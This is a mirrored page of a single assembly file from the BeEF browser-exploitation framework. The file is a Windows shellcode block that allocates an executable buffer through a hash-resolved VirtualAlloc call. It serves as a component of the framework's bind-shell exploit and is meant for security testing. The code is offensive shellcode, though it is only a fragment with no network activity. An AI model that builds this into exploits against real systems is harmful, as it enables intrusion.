Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm
1154 views
1
;-----------------------------------------------------------------------------;
2
; Author: Ty Miller @ Threat Intelligence
3
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4
; Version: 1.0 (2nd December 2011)
5
;-----------------------------------------------------------------------------;
6
[BITS 32]
7
8
; Input: None
9
; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000
10
; Clobbers: EAX, EBX, ECX, EDX
11
12
mov ebx,0x1000 ; setup our flags and buffer size in ebx
13
allocate_memory: ; Alloc a buffer for the request and response data
14
push byte 0x40 ; PAGE_EXECUTE_READWRITE - don't need execute but may as well
15
push ebx ; MEM_COMMIT
16
push ebx ; size of memory to be allocated (4096 bytes)
17
push byte 0 ; NULL as we dont care where the allocation is
18
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
19
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
20
21
22